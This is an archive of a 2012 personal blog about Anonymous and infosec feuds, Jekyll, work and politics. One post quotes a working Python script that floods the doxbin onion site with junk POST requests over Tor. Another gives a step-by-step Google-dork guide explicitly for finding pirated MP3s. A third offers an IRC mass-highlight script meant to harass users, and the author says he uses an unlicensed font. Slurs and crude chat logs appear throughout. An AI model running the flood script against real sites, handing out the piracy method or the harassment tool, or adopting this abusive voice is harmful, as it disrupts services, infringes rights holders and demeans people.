2012-04-07-Musings-on-information-security	51	450	3025
2012-04-07-Thanks	17	57	425
2012-04-08-Happy-Easter	9	16	173
2012-04-11-Obomney-2012	31	221	1563
2012-04-11-Prosec-attacks-on-doxbin	68	270	2305
2012-04-12-Google-is-big-brother	31	264	1615
2012-04-12-what-cd-20-gb-mark	17	84	551
2012-04-16-ESL-for-the-internet-elite	88	542	3371
2012-04-17-Depression-it-sucks	45	411	2542
2012-04-18-Absente-now-with-wormwood	16	88	570
2012-04-20-Therapeutic-Photoshop	14	67	503
2012-04-22-Kramdown-and-common-sense	26	145	953
2012-04-23-How-to-find-mp3s-with-google	214	997	7027
2012-04-23-Stoner-comic-dump	53	139	4004
2012-04-26-The-anti-anonymous-movement	56	545	3257
2012-04-27-Free-website-stress-tests	14	66	474
2012-04-29-Absinthe-neato	28	247	1449
2012-04-30-This-is-now-stuck-in-your-head	9	28	282
2012-05-01-Blog-stats	99	633	4387
Total	3111	20981	140212

Seems like I’ve written more than that. Still interesting, though.

This is Now Stuck in Your Head

Mon, 30 Apr 2012 08:08:00 +0000

Absinthe: Neato

Sun, 29 Apr 2012 17:50:16 +0000

Last night was fun. Had a great time and tried the absinthe, as well. After about two seconds googling, I found that the FDA allowed absinthe to be imported to the US, but only if it contained 10ppm or less of thujone. That translates to about 10 milligrams of thujone per liter. Traditional absinthe was about 100 milligrams per liter, so the effect of the absinthe I purchased was more of making you drunk easier. However, it tasted damned good, and the louching was a really cool thing to watch. Would definitely try it again, just need to get a decent glass and some sugar cubes.

Free Website Stress Tests!

Fri, 27 Apr 2012 07:47:07 +0000

Apparently I was afk for “Free Website Stress Test Day”. That’s too bad, too, since I liked watching it get pummeled by far more than just “3500 Unique Visitors”. Would love to download the raw data on this one. Wonder who gave me these pings of love…

Note: Typical users will have javascript enabled in their browsers. The Google Analytics side reveals that the 3500 requests shown by cloudflare were just bare requests, no js executed or cookies- Nothing. Just someone saying “hello”. Interesting, nonetheless.

The Anti-Anonymous Movement

Thu, 26 Apr 2012 17:26:23 +0000

Anonymous has had some bad eggs in it’s time. There have been violent adherents, bad ideas, and blemishes all around. The spirit of revolution and change for the better has been pock marked by bad decisions due to a select few not following any ethical path. Though the movement is large and diverse, with many participants. “The Internet Hate Machine” as it was once known is dead, they’re now just a bunch of kids wanting governments and corporations to behave- or else.

How to Find MP3's Using Google

Mon, 23 Apr 2012 21:43:00 +0000

This is a handy guide to using Google to search for pirated music. This can be applied to other file types as well, but it’s best for MP3’s. I’d link back to the original material, but this information has been reposted so much that I’m not sure anyone really knows from where it originated. That said, on to the juicy bits.

How To Find MP3's with Google

This How-To will teach you how to use google to find mp3s. This How-To
will be highly pragmatic and will focus on the hows and not the
wherefores of the various search strings. Written by my_haz

 

----------------------------------------------------------------------
= Index
----------------------------------------------------------------------0) Key
1) Directories
2) Xitami Servers
3) Directory Listing
4) Andromeda Servers
5) Zina Artists
6) Apache mp3 Servers
7) Individual Songs


----------------------------------------------------------------------
= Section 0 - KEY
----------------------------------------------------------------------You this are just some definitions I will use below.

[Directory String] can be any of the following :
1) "index of"
2) "last modified"
3) "parent of" 

[file type] can be any of the following :
1) "mp3"
2) "shn"
3) "wma"

[mp3 name] can be any of the following :
1) the name of the album in quotes
2) the name of the artist in quotes
3) be daring and leave it blank and have lots of links
4) be creative!

[limitors]
1) -html -htm -php -asp -txt -pls

(inurl:) is optional and may be omitted and in fact most be
omitted if not using a search tool other than google.

(intitle:) can be used in place of (inurl:) and has a similar effect
again you must be useing google.

(-filetype:txt) adding this to the end of your search string can
filter some false positives.

(-playlist) adding this to the end of your search string can
filter some false positives.

----------------------------------------------------------------------
= Section 1 - Directories
----------------------------------------------------------------------These are the most common way that mp3s are stored on the www, you
should try these strings first.

String Format : 
Type 1 : [Directory String] + (inurl:)[file type] + [mp3 name]
Type 2 : [Directory String] + (intitle:)[file type] + [mp3 name]

Type 3 : [Directory String] + [file type] + [mp3 name] + [limitors]

Example Strings :
- intitle:index.of + mp3 + "grandaddy" -html -htm -php -asp -txt -pls
- "index of" + "mp3" + "radiohead" -html -htm -php
- "index of" + mp3 + "grandaddy"
- "index of" + inurl:mp3 + "beatles" -txt -pls
- "index of" + intitle:mp3 + beatles
- "last modified" + "shn" + "dylan"
- "last modified" + inurl:shn + "bob dylan"
- "parent of" + inurl:wma + "grandaddy"

Suggestions : 
- Try (intitle:index.of + "mp3" + "band name" -htm -html -php -asp) first it 
is usually the most effective.

Another Little Trick:
- If you have been getting alot of results on google but the pages don't seem
to be there try adding dates and the "apache" string to your search i.e.

- intitle:index.of + mp3 + "grandaddy" -html -htm -php -asp apache feb-2005
- intitle:index.of + mp3 + "grandaddy" -html -htm -php -asp apache 2005

or if you just want a big list of mp3' doing a search like this everymonth
- intitle:index.of + mp3 + -html -htm -php -asp apache mar




----------------------------------------------------------------------
= Section 2 - Xitami Servers
----------------------------------------------------------------------String Format : 
Type 1 : "xitami web server" + (inurl:)[file type] + [mp3 name]
Type 2 : "xitami web server" + (intitle:)[file type] + [mp3 name]

Example Strings :
- "xitami web server" + "mp3" + "radiohead"
- "xitami web server" + intitle:shn + "beatles"
- "xitami web server" + inurl:mp3 + "magnetic fields"

----------------------------------------------------------------------
= Section 3 - Directory Listing
----------------------------------------------------------------------String Format :
Type 1 : "directory listings" + (inurl:)[file type] + [mp3 name]
Type 2 : "directory listings" + (intitle:)[file type] + [mp3 name]
Type 3 : "directory listings of" + (inurl:)[file type] + [mp3 name]
Type 4 : "directory listings of" + (intitle:)[file type] + [mp3 name]


Example Strings
- "directory listings" + "mp3" + "radiohead"
- "directory listings" + intitle:shn + "beatles"
- "directory listings" + inurl:mp3 + "magnetic fields"
- "directory listings of" + "mp3" + "radiohead"
- "directory listings of" + intitle:shn + "beatles"
- "directory listings of" + inurl:mp3 + "magnetic fields"

----------------------------------------------------------------------
= Section 4 - Andromeda Servers
----------------------------------------------------------------------String Format :
Type 1 : "scott matthews" + andromeda + [mp3 name]
Type 2 : "scott matthews" + andromeda + [file type] + [mp3 name]
Type 3 : "powered by andromeda" + [mp3 name]
Type 4 : "powered by andromeda" + [file type] + [mp3 name]
Type 5 : inurl:andromeda.php + [mp3 name]
Type 6 : inurl:anromeda.php + [file type] + [mp3 name]
Type 7 : "scott matthews" 
Type 8 : "powered by andromeda"
Type 9 : inurl:andromeda.php 

Examples :
- "scott matthews" + andromeda + "radiohead"
- "scott matthews" + andromeda + "mp3" + "fitter"
- "powered by andromeda" + "gradaddy"
- "powered by andromeda" + "mp3" + "just like women"
- inurl:andromeda.php + "shn"
- inurl:anromeda.php + "wma" + "dylan"
- "scott matthews" 
- "powered by andromeda"
- inurl:andromeda.php 


----------------------------------------------------------------------
= Section 5 - Zina Artists
----------------------------------------------------------------------String Format : 
Type 1 : "zina artists"

Examples :
- "zina artists"


----------------------------------------------------------------------
= Section 6 - Apache mp3 Servers
----------------------------------------------------------------------String Format :
Type 1 : "stream all" + apache + [mp3 name]
Type 2 : "stream all" + apache 
Type 3 : "shuffle all" + apache + [mp3 name]
Type 4 : "shuffle all" + apache

Examples :
- "stream all" + apache
- "stream all" "shuffle all" mp3
- "stream all" + apache + radiohead
- "shuffle all" + beatles

----------------------------------------------------------------------
= Section 7 - Individual Songs
----------------------------------------------------------------------Format : [mp3 name].mp3 -playlist -filetype:txt

Examples :
- "ok_computer_live.mp3" -playlist -filetype:txt
- "*ok_computer*.mp3" -playlist -filetype:txt
- kid*a.mp3 -playlist -filetype:txt

Stoner Comic Dump

Mon, 23 Apr 2012 15:03:01 +0000

Just thought I’d dump a bunch of stoner comics, because I know how much everyone loves this stuff. Maybe it’s just amusing to me, who knows. Whatever. I can’t sleep and insomnia sucks, so I cope with a stoner comic dump. Enjoy.

Kramdown and Common Sense

Sun, 22 Apr 2012 21:00:43 +0000

Boy did I herp before I derped. All this time I could’ve been posting thumbnailed images, but I didn’t peek into the specifics of Kramdown or how to do it. Ruby seems to be a literal octopus of a language, with all these parsers and things. Ruby seems to be the new Visual Basic, reinventing spaghetti mess. At least it produces pretty results, though.

[![ImageAlt](/thumbnail.jpg)](/link/to/full/image.jpg)

Simple tip, excellent results, not sure why I didn’t think to experiment with it in the first place. Maybe because my initial impression of Kramdown was that it’s kinda touchy. Don’t know. In any case, I’m a fan now. I might use Kramdown more often, for more than just this blog. Who knows.

Therapeutic Photoshop

Fri, 20 Apr 2012 19:20:29 +0000

Look ma, I’m into therapeutic Photoshopping again! Found a neat little Java game online called Hell of Sand and thought I’d throw together a two minute image based on the game. Yes, this is what I do when I’m bored, should I ever get enough time to be bored.

Absente: Now with WORMWOOD! (lol)

Wed, 18 Apr 2012 20:42:03 +0000

What do you think? Should I do it? If I do it, I’ll write about it. Ought to be a fun time, right? Maybe it’s good for getting rid of headaches. I’ve been having insane headaches lately. If it sucks, at least it was pretty cheap.

UPDATE: I’m going to be saving this for another day, when I have cause to celebrate rather than drown my issues.

Depression: It Sucks

Tue, 17 Apr 2012 19:32:40 +0000

Having major depression sucks. I don’t remember how many times I’ve been diagnosed with major depression, but I do know that I’ve been on countless medications with countless horrible side effects and I’ve run the gamut on pills, some that people have never heard of. I’ve gone unmedicated for over two years now. Being unmedicated has been a rollercoaster of ups and downs. During peak times, things are amazing. I can more than function, I can succeed and overcome any obstacle. When the lowest points are hit, everything becomes an obstacle. Getting up in the morning is an obstacle. Getting out of bed is an obstacle. I can barely bring myself to keep in touch with people, everything turns into bitterness and hatred. When I’m happy, I’m an asshole because it’s fun. When I’m feeling horrible, I’m an asshole because it’s a self defense mechanism. Yes, I’m admitting to being an asshole, but at least I’m not always wrong when I’m an asshole.

ESL for the Internet Elite

Mon, 16 Apr 2012 16:58:00 +0000

The first issue I think that ought to be tackled would be confusing simple words with one another. I don’t understand it, but people seem to have completely lost the ability to discern “you’re” from “your” and “its” from “it’s”. “Their”, “there”, and “they’re” are also commonly abused. I’ll break it down for you.

##It’s and Its##

It’s: Conjunction. “It is”.; Use: “It’s cold out.” Or “It’s stupid of you to fuck this sentence up.”
Its: Adjective. Belonging to or associated with a thing previously mentioned.; “A faggot in its natural state will ignore this blog entry.”

Alright. We good with these two? You kids understand these two yet? Yeah, we’ll see how much your tweets are impacted. I’m beginning to think I should just drink before reading your tweets. Just saying.

Google = Big Brother

Thu, 12 Apr 2012 19:28:14 +0000

I’ve been toying around with Google Analytics, and I’ve found some pretty interesting stuff. It actually flies beyond the border of creepy and flatly allows you to “stalk your stalkers”. They might as well coin the term “counter-stalking”, because they allow you to watch everyone who views your website, their behavior, and you can even make web design decisions that are quite sound based on what you find in the data and how you interpret it. After nosing around a bit, I can tell you that if I really wanted my website to take off I’d cease blogging rants about how Obama sucks or why we shouldn’t interfere in Israel’s “issues” and instead just post five lolcats a day. That would be all it takes to make this website über-popular. Just lolcats. Mind you, I’m not going to do that. I’m going to do what I damn well please because I don’t blog to please others, I blog to please myself. So this crevice can remain solemnly unpopular for all the fucks I give. But just check out how creepy this “user interaction flow” is.

What.CD 20 GB Mark

Thu, 12 Apr 2012 09:38:19 +0000

I no longer care to hear about your “issues” with bittorrent. I’m nearing the 20GB uploaded mark on What.CD with a 48 kbps upstream. If you ask me, that’s an accomplishment on it’s own. So quit your bitching, there are people who have it worse than you. I make do, dammit. I think I do rather well with what I have.

Pic related.

#Prosec Attacks on Doxbin

Wed, 11 Apr 2012 18:42:43 +0000

Looks like #prosec is nerdraging on @doxbin. The effects can be seen here. The attack I noticed first was a semi-lame HTTP POST attack that floods doxbin with garbage “dox”. Code here:

#!/usr/bin/python

import socks
#google it, it's a common python extension
import socket
#127.0.0.1:9050 is the default TOR socks4 proxy
#this connects to TOR
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, "127.0.0.1", 9050)
socket.socket = socks.socksocket
from httplib import *
from urllib import *
import random
import time
import hashlib

times = 1
while 1:
	############DOX############
	doxrand = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
	dox = hashlib.sha224(doxrand).hexdigest()
	print dox
	#doxrand = picking a random character
	#dox = SHA hashing of the random character defined in doxrand
	##############NAEM###########
	naemrand = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
	naem = hashlib.sha224(naemrand).hexdigest()
	print naem
	#same as above
	##############

	connection = HTTPConnection("doxbinumfxfyytnh.onion")
	#establishing HTTP conenction to website
	head = {"Content-Type" : "application/x-www-form-urlencoded", "Accept" : "text/plain"}
	#constructing the header, so the webserver will respond properly
	parameters = urlencode({"naem" : naem, "dox" : dox})
	#defining the data to be used during POST, note naem and dox refer to the random strings from ealier
	#they must correspond to the ID fields from the web form, otherwise..it won't work
	connection.request("POST", "/post.php", parameters, head)
	#pushing the data to the post function of the php file
	print 'Connection OK...Continuing..'
	print 'Spammed', 
	print times, 
	print 'times!'
	times = times + 1
	time.sleep(30) #in seconds
	#self explanitory

Now, however, it looks like there are 403 Forbidden errors. I’m thinking Nachash will get things running again soon.

Obomney 2012

Wed, 11 Apr 2012 17:34:41 +0000

This facebook thread made me giggle a little. I have as friends some really hard pro-Bama people, and it’s interesting to see what flits across my facebook from day to day. I despise the Republican party for a lot of the reasons I despise Obama. They’re old-fashioned, backed entirely by greedy corporations, and favor iron-fist control over the people when it comes to security- not just at home but abroad as well. For reference, here are the links mentioned in the thread:

Happy Easter!

Sun, 08 Apr 2012 18:06:44 +0000

IRC is a Bad Place™

Sat, 07 Apr 2012 17:38:18 +0000

[18:44:05] <Aar0n> i fit a Sharpie up my urethra the other day
[18:44:11] <Burgina> hawt
[18:44:23] <o_o> eww
[18:44:29] <Aar0n> maybe thats why i pee black chunks
[18:44:38] <Aar0n> I fergot to put the cap on first
...
[18:45:29] <Aar0n> i found this killer vag mesh video anyone wanna see?
[18:45:33] <Burgina> yes
[18:45:47] <o_o> brb
[18:45:51] <Aar0n> naa ill be a good boy

Musings on Information Security

Sat, 07 Apr 2012 16:19:54 +0000

I’ve been thinking a lot lately about the “PsyOPS” and “InfoSec” professionals that are wildly chasing hackers all over the internet. People claim they’re so elite because they’re infiltrating A GROUP THAT ANYONE CAN JOIN, REGARDLESS OF RACE, CREED, OR RELIGION. I guess it’s tacitly not infiltration, as I’m sure some of the “legit” members don’t have the group’s best interest at heart, for various reasons. So if you’re claiming to be “Destroyer of Anonymous”, you fail at life. You’re a fucking loser- an asshat. The reality is that Anonymous is destroying itself. It swells and declines. It will always eliminate parts of itself. Kind of like pruning. No group with such radical and diverse beliefs can remain cohesive. However, all “#prosec” douchebags are typically Republican, Bradley Manning hating government suckups who shit on the first amendment and would love to see all Arab Americans die. These are not generalizations- these fucking nutbags still have sore tits over 9/11. At least, the “twitter vocal” ones are that way. It’s ironic. If you want to gain support for your cause of “hating Anonymous”, wouldn’t you be nicer than a nazi? My guess is “mudsplatter / hubris” is still on the #prosec side of the fence, hunting Anonymous down with PsyOPS and trolling. However, he’s playing good cop at the moment. The minds at Backtrace Security likely discovered that being raging douches from all angles doesn’t get you very far. So riding high on the crest of “namshub.pdf” and the fact that all their dox came from the fallout just before HBGary, they’re trying like Hell to prove they’re actually worth something to the internet, and not just screaming trolls.

Thanks!

Sat, 07 Apr 2012 08:10:07 +0000

Thanks, Anonymous Benefactor! Got the package today, you crazy bastard. The shirt is quite suitable. At least this way people don’t even have to check my blog to determine that I’m an Infosec Troll.

I owe you one.

- Red Gingerface

Quick and Dirty Mass Highlight for irssi

Fri, 06 Apr 2012 18:36:12 +0000

This is the defacto mass highlight I use to annoy the fuck out of people when on IRC with irssi. It’s good stuff. Modify it to say something incredibly offensive and use it yourself.

use strict;
use Irssi;

sub cmd_hilight {
 my ($data, $server, $win) = @_;
 my $channel = Irssi::active_win()->get_active_name();
 my $foo = "\cBHey,\cB ";
 foreach ($win->nicks())
 { 
 next if ($_->{'nick'} eq $server->{nick});
 $foo .= "\cB\c_$_->{'nick'}\cB\c_ ";
 }
 $server->command("MSG $channel $foo");
}

Irssi::command_bind('mh', 'cmd_hilight');

I Hate You All

Thu, 05 Apr 2012 08:52:08 +0000

Enjoy this vintage PSA from the 80’s as a token of my appreciation.

#FuckFBIFriday

Thu, 05 Apr 2012 08:11:58 +0000

It would seem the volume of tweets containing the hash tag “#FuckFBIFriday” has dwindled tremendously. Lets frame a few things up, just for perspective.

Hector Monsegur Arrested -> June 7th, 2011
Fuck FBI Friday, 1st Ed. is Released -> June 5th, 2011
Every Following #FFF Likely Lead to an Arrest -> ???
PROFIT!!!

Is it me, or is this hilarious? Leaderless organization is an oxymoron. Democracy can’t exist in any system, suffice to say this is fairly decent evidence to support such a statement. If Sabu weren’t a leader, he wouldn’t have been as valuable to the FBI.

PragmataPro Font

Tue, 03 Apr 2012 17:23:52 +0000

I’m sure I’ll catch some shit for this. Probably at least a little. I’m not so legally using a font for my website to display code. It’s not the cheapest font in the world, either. I certainly don’t have permission to use it, and anyone can look at the CSS in my blog and grab it. I don’t really care, though. That’s an insane amount of money to charge for a font. It’s a fucking FONT, people. I realize you’ve put some effort into it’s creation, but it’s also not perfect. It’s not the best damn font I’ve ever seen, nor is it useful in 100% of situations I’ve encountered.

Getting @font-face to Work on all Browsers

Tue, 03 Apr 2012 14:37:27 +0000

I’ve tried probably about ten suggestions found all over the web, and this is the only method I’ve found to function universally, across every browser I’ve tested it with.

@font-face {
 font-family: 'NameOfFontFamily';
 src: url('/font/file.eot?') format('eot'),
 url('/font/file.woff') format('woff'),
 url('/font/file.ttf') format('truetype');
}

You can use online font converters to convert an OpenType or TrueType font to *.eot and *.woff as needed. For whatever reason, the “?” appears to be important as well. Not sure about that, I’ll have to look into it further.

What They Say, What They Mean

Tue, 03 Apr 2012 07:35:15 +0000

This is a handy guide to interpreting common phrases you may come across on the internet.

What they say	What they mean
“I’m the KING of SQLi/DDoS/Doxing.”	“I am the goodest at biting my wrist while I shout at the wall.”
“I have a botnet that can peak at 50gbps.”	“I have a penis that peaks at 3 inches.”
“I have o:lines all over the place.”	“I haven’t left the basement in months.”
“I TROLL U. LOLOLOLOL. UMAD BRO?”	“Please don’t disconnect. I don’t have real life friends.”
“I use Linux.”	“I once booted an Ubuntu LiveCD.”
“I work in IT when I’m not on IRC.”	“I sell laptops at Best Buy.”
“I’m a penetration tester.”	“I run Zenmap and Hivaj on Windows 7.”
“I’m a hacker.”	“Programming frightens me. Hivaj has a big, pretty button.”
“I like to code.”	“My final project in CSIII was a VB .Net calculator.”
“I have a website.”	Wordpress
“My usual network is Efnet.”	#idlerpg
“My usual network is 2600.”	“I’m a fed informant.”
“My usual network is AnonOps.”	“I’m a paid fed informant.”
“My usual network is Rizon.”	yiff yiff yiff yiff
“I prefer Gnome over KDE.”	“I like ugly things that just work.”
“I prefer KDE over Gnome.”	“I don’t care if it works, as long as it’s pretty.”
“I use XMonad.”	“Crush my balls harder, mistress! I’ve been ever so bad.”

Alright, that’s it for now. I’ll probably do a follow up if I think of more inane shit to drop on this topic.

Insomnia Redux (Or my Excuse to Post my Vim Init)

Mon, 02 Apr 2012 18:20:47 +0000

I can’t sleep and can’t think of anything good to blog about, so I’m going to throw up my Vim startup script. This is what works for me, and I’m using it with gvim as well as a slightly modified version for vim. Without further ado, the startup script that makes the world’s best text editor even more useful to me:

colors desert
syntax on
set gfn=PragmataPro:h12,Arial\ Unicode\ MS:h12
set backspace=2
set shm+=I
set ls=2
set ruler

"UTF-8 Shizzle
if has("multi_byte")
 if &termencoding == ""
 let &termencoding = &encoding
 endif
 set encoding=utf-8
 setglobal fileencoding=utf-8
 "setglobal bomb
 set fileencodings=ucs-bom,utf-8,latin1
endif

"Begin custom function for search
highlight found gui=undercurl guibg=#121212 guifg=#6458f0 guisp=#6767ff

function Supafind()
 let farg = input("Search Regex: ")
 call matchadd("found",farg)
 echo ""
endfunction

map <F2> :call Supafind()<CR>
map <F3> :call clearmatches()<CR>:echo "Cleared Matches"<CR>

Jekyll and Youtube Embedding

Sat, 31 Mar 2012 04:19:13 +0000

When I first began using Jekyll, I noticed that throwing in a Youtube embedded video made it go apeshit. I Googled for a bit to discover that Maruku wasn’t happy with HTML, and was taking any and all HTML and interpreting it to XHTML. Youtube doesn’t provide “Embed” data in XHTML format. Here is an example of a typical Youtube embed:

<iframe width="420" height="315" src="http://www.youtube.com/embed/dQw4w9WgXcQ" 
 frameborder="0" allowfullscreen></iframe>

That’s taken verbatim from Youtube. There are two problems here. First, XHTML doesn’t like lone attributes. The allowfullscreen attribute has to be changed to allowfullscreen="allowfullscreen" to be usable. If you even use it. I’ve heard reports of people embedding videos without it at all. Second, Jekyll devs openly admit Jekyll swallows empty end tags. Thankfully, their admission gleans a helpful hint in fixing it. Simply insert a space between <iframe> and </iframe>. The end result is as such:

Jekyll (Bootstrap) is for Everyone

Sat, 31 Mar 2012 04:06:54 +0000

If you’ve seen a good number of Jekyll blogs and find yourself pretty jealous, there really aren’t any excuses anymore. Jekyll Bootstrap literally removes all difficulty from using Jekyll. It’s basically a layer over Jekyll that has built in support for theming, post creation, and more. With Jekyll Bootstrap, you really need to know very little of the command line. If you have a favorite theme that’s Jekyll based, chances are that user has made it available on the internet via Github. Hurry up and check it out.

The Devil's (Infosec) Dictionary

Fri, 30 Mar 2012 10:00:00 +0000

Foreward: No one was spared, not even the children. Word after word of cruel truth, sputtered forth in ironic tone, not attempting to be humorous but might earn a chortle or two. I bring you, “The Devil’s (Infosec) Dictionary”.

Anonymous /əˈnänəməs/
(1.) Noun Group of “hacktivists” puppeted by CIA.

Antisec /ˈantēsək/
(1.) Noun Digital Anarchists, modern internet mafia. Similar to Democratic Party. Funded at least partially by the CIA, but normally chased by FBI.

Work Work Work

Fri, 30 Mar 2012 07:42:30 +0000

Just writing this to keep up appearances. I don’t really have anything new or interesting to add. I suppose the Trayvon Martin saga will be interesting to watch as it unfolds, I just hope people don’t treat the expert analysis like a fucking referee making a call. If an expert makes a determination, just go with it. Don’t yell and scream that the determination is wrong just because you don’t agree with the end result. That’s what retards do. Instead, learn to accept reality for what it is, rather than sticking your head in the sand whenever something becomes uncomfortable.

Trayvon Martin 911 Calls

Wed, 28 Mar 2012 16:26:10 +0000

I really don’t have much to say about this. Whether Trayvon Martin was an aggressive little prick of a punk kid or the sweetest kid you could ever meet has no relevance to what these 911 calls relay. This definitely warrants further investigation, whether it’s racially motivated or not.

George Zimmerman 911 Call

Neighbor 911 Call #1

Neighbor 911 Call #2
You can hear Martin screaming in the background and a presumably fatal shot fired.

Jennifer Emick: DDoS for FBI!

Tue, 27 Mar 2012 19:09:10 +0000

The thing I find most humorous about Sabu’s IP being discovered is that I have this gut feeling that I know exactly how it happened. Sabu, being at least a somewhat arrogant prick, had no qualm with hanging out everywhere and anywhere on IRC. I also know he was speaking to Emick quite often, and had even had discussions with her before getting his July visit from the feds. On to my suspicion.

Oh, the Hubris!

Mon, 26 Mar 2012 15:26:00 +0000

So, it looks like the battle rages on between Emick and Hubris. Will the rampant Googler win, or the drug-addled vet? Only time will tell, and now YOU can witness the rofl-tastic dissolution of the mighty Backtrace Security.

I’ve preserved some timelines for posterity.

A5h3r4h - Fresh as of 8:00 AM
Hubris - Fresh as of 3:00 PM

Have fun, kids. Don’t get hurt Googling yourselves. :3

BacktraceSec Dissolved

Mon, 26 Mar 2012 08:01:50 +0000

It looks like Hubris has finally had enough. Enough of what, I can’t tell. But the fallout between Him and A5h3r4h has been sincerely lulzy. I’m damn near dying, laughing at her condescending, horrible “help” email, in which she belittles and is generally bitchy, status quo. It looks like BacktraceSec has been generating some funds in their witch-hunt of Anons, and A5h3r4h (henceforth referred to in this post as “Emick”), can’t seem to hold on to any of it. Of course, with any e-drama leakage onto the internet, it’s important to take everything you read with a grain of salt. However, I’m still reading the fucking hilarious twitter fight* between them. A few things gleaned in the past five minutes of reading:

The Hunger Games

Fri, 23 Mar 2012 21:12:54 +0000

I’m about to go see “The Hunger Games” at the theater. Never read the books before, haven’t even heard of it until now. This ought to be interesting. I’ll be sure to throw down some comments, if I have any, after seeing it.

Sorry, I’ve been a terrible blogger lately (as always). I’ll strive to improve. I promise.

Trollface.jpg

Love Chicago

Fri, 23 Mar 2012 12:49:00 +0000

Definitely time to go back, even if only for a day trip.

Kinks Worked Out

Fri, 23 Mar 2012 08:00:39 +0000

It would seem I have the kinks worked out in my rsync setup. I guess I herped before derping when setting permissions, not realizing that the only way to get the binary to execute with a new login group added was to restart the process. It’s okay, I have a helmet to protect me from myself. It’s padded and has hexagons like a turtle shell. Hurrrrr.

Aside from that, though, things are going. I’m working still. Always good to have net gain in funds week by week. My feet, arms, and come to think of it- everything hurts. Sometimes it hurts in a gratifying way. Body parts such as my feet, however, not so gratifying. More of a stinging, burning sensation. Cramping also sucks. Back cramps, foot cramps, overall horrible cramping. I’ll survive. I’m not here to bitch, dammit. I’ll cease this at once.

Rollout Complete

Thu, 22 Mar 2012 21:16:00 +0000

The installation of my virtual soapbox is now complete. I wrote a half-second bash script to take care of fixing permissions on my end before rsync-ing the whole load to the “web server” (term used loosely, here, as the janky garbage I have set up only took two whole seconds of deployment). Everything should be all set. No more XML: PARSER JUST HAD A GODDAMNED FUCKING SEIZURE, YOU RETARD style errors or 403 Asshat Has No Permission issues. Should deploy with two simple commands and let me stand on my little, virtual, audience-less, soapbox all day long.

Me at the Controls

Thu, 22 Mar 2012 21:00:00 +0000

New Jekyll Setup

Thu, 22 Mar 2012 19:36:05 +0000

My prior Jekyll setup was as such:

Jekyll installed on Amazon EC2 instance.
Template/files generated on EC2 instance.
Uploaded content to template/work directory as needed.

I’ve since decided that was “A Bad Idea™”, and have chosen to offload the work from the EC2 instance to my FreeBSD machine instead, updating content with rysnc as it’s generated. This poses a few minor annoyances for the moment. First, the DSL I’m connected to is currently crawling at a snail’s pace. However, the nice thing is that you, the reader, don’t see all my ugly fuckups as they happen. Instead, you only get to see the pretty pre-formatted pages as they’re ready for print. That’s a major advantage. As I learn Maruku, you’re not forced to watch me painfully learn it’s syntax. Good stuff, huh?

Things Moving Along

Wed, 21 Mar 2012 07:42:14 +0000

Things seem to be moving along. I’m working now, as you may already have noticed from blog posts. I’m working midnights, though. Pretty terrible shift, I’m hoping I can find something, whether at the same place or not, that’s days. Hopefully I can arrange something soon that will cease to destroy my ability to sleep. Sorry for the lack of blog posts lately. I’ve been busy as hell. In the very least, I have money in my pocket and a place to go every day. I’ll be grateful for the good things and wonderful people in my life. I’ll make sure to show them every chance I get, too. That said, I suppose I’ll trail off with a youtube video.

More on my New Occupation

Mon, 19 Mar 2012 19:46:20 +0000

I was uncertain when I wrote the first blog post about my new job, but I’ve found out that CNC machines are rather diverse and quite complex. It would seem that numerical control panels and machines are actually interchangeable to a certain extent. The machine I’m currently running has a FANUC 18i panel and it’s attached to an Okuma 2SP-35H dual-spindle lathe.

The one in the image I found is fitted with a FANUC panel as well. I hope to learn more about CNC as I go along, machining is actually pretty fascinating to me. It also seems to be a pretty lucrative trade to get into.

What I've Been Doing

Fri, 16 Mar 2012 22:47:00 +0000

Most of my life, I’ve either worked some stupid “McJob” or behind a desk. I’ve never had what you’d deem a real gritty job before. Until now. Now I come home every morning covered in carbon dust, coolant, and grease. It’s insane. My arms are sore every day, and are getting… Gruesome.

I work in a “cell” that consists of a grinder station, six-axis FANUC robotic manipulator, and dual-spindle FANUC CNC lathe. The grinder does exactly what the term I used implies, it grinds the raw material down to size. The manipulator takes the properly sized material and loads it onto the lathe chuck, which then uses tooling to shape the material into the finished product. The manipulator then sends the finished piece on down to me, where it’s gauged for accuracy and I can make corrections near the end of the line when necessary. The cell produces about a hundred pieces an hour. It’s overly complex for what’s actually happening, and has a tendency to reflect that in what can (and does) go wrong. I’ve noticed two tandem PLC’s, one to direct the manipulator and another that apparently controls the lathe. The cell used to consist of two manipulators, two lathes, and four spindles. It has since been found that it’s a freaking mess for just one person to handle with just one series running. I think I’d die if both were ever running cooperatively.

Made Me Think of my Friends

Fri, 16 Mar 2012 20:19:00 +0000

The Case Against Israel

Fri, 16 Mar 2012 09:19:00 +0000

This might get long-winded. Here we go.

First of all, I don’t agree with the whole bullshit “You have to be an anti-semite to not side with Israel” argument. If you’re pulling that out of your ass, you can go die in a fire right now. If you’re of the open-minded sort, please do read on.

The Jewish population in the Israel/Palestine area, before 1918, was roughly 10% of the population of the entire area. In that period, Jews suffered a great deal at the hands of anti-semites. They began migrating to what was then called Palestine. By the 50’s, Israel (as it was called after the UN partition plan), housed 7% of the Jewish population.

Tweaks

Fri, 16 Mar 2012 08:52:00 +0000

As all five of you (the people who read this thing) may or may not have noticed, I tweaked the layout a bit. I’m the kind of writer that can just shotgun a bunch of entries and fill up a front page easily, none of my content is really worth clicking links to get to- I figured I’d make it all up front for you. All the newest and freshest shit is right there on the front page. If you want anything else, it can be obtained via links. Not sure why I didn’t tweak that in the first place, I just figured I’d be content for the moment to learn Maruku and Jekyll and be done with it. Probably not the wisest of moves, I guess. Not like it really matters, though, as I don’t think there are masses screaming for what I have on my brain at any given moment.

At the Drive-in

Thu, 15 Mar 2012 17:27:00 +0000

It’s going to rain soon. I can smell it. Summer is finally coming, and I have some damned fond memories of summer. My last one was a mind-blower, that’s for sure. Certainly can’t take summer for granted anymore. Too many fond memories, too much to look forward to. The Drive-in used to be a cool thing I did, I guess not many people really did it. These days, it has some significance to me. It will be a place my mind goes, whether times are bad or times are good. That place will always make me smile. I’m overly eager to visit again soon.

Work Again- Finally

Thu, 15 Mar 2012 08:23:00 +0000

It feels good to be working again. I’ve missed having a place to go every day. I’ve missed being tired after putting in a genuine effort for eight hours, turning in and being able to pass out from exhaustion. When you’re sitting around all day, you don’t really get tired from anything other than the passage of time. It simply doesn’t feel half as satisfying as being tired from the expense of energy and the pleasure of having been productive.

Grind

Mon, 12 Mar 2012 07:57:35 +0000

